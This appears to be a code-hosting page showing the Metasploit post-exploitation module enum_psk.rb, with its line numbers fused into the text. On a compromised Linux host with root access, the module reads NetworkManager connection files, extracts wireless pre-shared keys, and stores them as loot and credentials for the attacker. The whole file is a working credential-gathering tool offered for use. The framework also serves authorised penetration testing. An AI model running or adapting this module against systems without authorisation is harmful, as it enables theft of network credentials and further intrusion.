Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/gather/enum_psk.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::Priv8include Msf::Post::Linux::System9include Msf::Auxiliary::Report1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Linux Gather NetworkManager 802-11-Wireless-Security Credentials',16'Description' => %q{17This module collects 802-11-Wireless-Security credentials such as18Access-Point name and Pre-Shared-Key from Linux NetworkManager19connection configuration files.20},21'License' => MSF_LICENSE,22'Author' => ['Cenk Kalpakoglu'],23'Platform' => ['linux'],24'SessionTypes' => ['shell', 'meterpreter'],25'Notes' => {26'Stability' => [CRASH_SAFE],27'Reliability' => [],28'SideEffects' => []29}30)31)3233register_options([34OptString.new('DIR', [true, 'The path for NetworkManager configuration files', '/etc/NetworkManager/system-connections/'])35])36end3738def connections_directory39datastore['DIR']40end4142def extract_psk_from_file(path)43return if path.blank?4445print_status("Reading file #{path}")46data = read_file(path)4748return if data.blank?4950data.each_line do |l|51next unless l.starts_with?('psk=')5253psk = l.split('=')[1].strip5455return psk unless psk.blank?56end5758nil59end6061def run62unless is_root?63fail_with(Failure::NoAccess, 'You must run this module as root!')64end6566connection_files = dir(connections_directory)6768if connection_files.blank?69print_status('No network connections found')70return71end7273tbl = Rex::Text::Table.new({74'Header' => '802-11-wireless-security',75'Columns' => ['AccessPoint-Name', 'PSK'],76'Indent' => 177})7879connection_files.each do |f|80psk = extract_psk_from_file("#{connections_directory}/#{f}")81tbl << [f, psk] unless psk.blank?82end8384if tbl.rows.empty?85print_status('No wireless PSKs found')86return87end8889print_line("\n#{tbl}")9091p = store_loot(92'linux.psk.creds',93'text/csv',94session,95tbl.to_csv,96'wireless_credentials.txt'97)9899print_good("Credentials stored in: #{p}")100101tbl.rows.each do |cred|102user = cred[0] # AP name103password = cred[1]104create_credential(105workspace_id: myworkspace_id,106origin_type: :session,107address: session.session_host,108session_id: session_db_id,109post_reference_name: refname,110username: user,111private_data: password,112private_type: :password113)114end115end116end117118119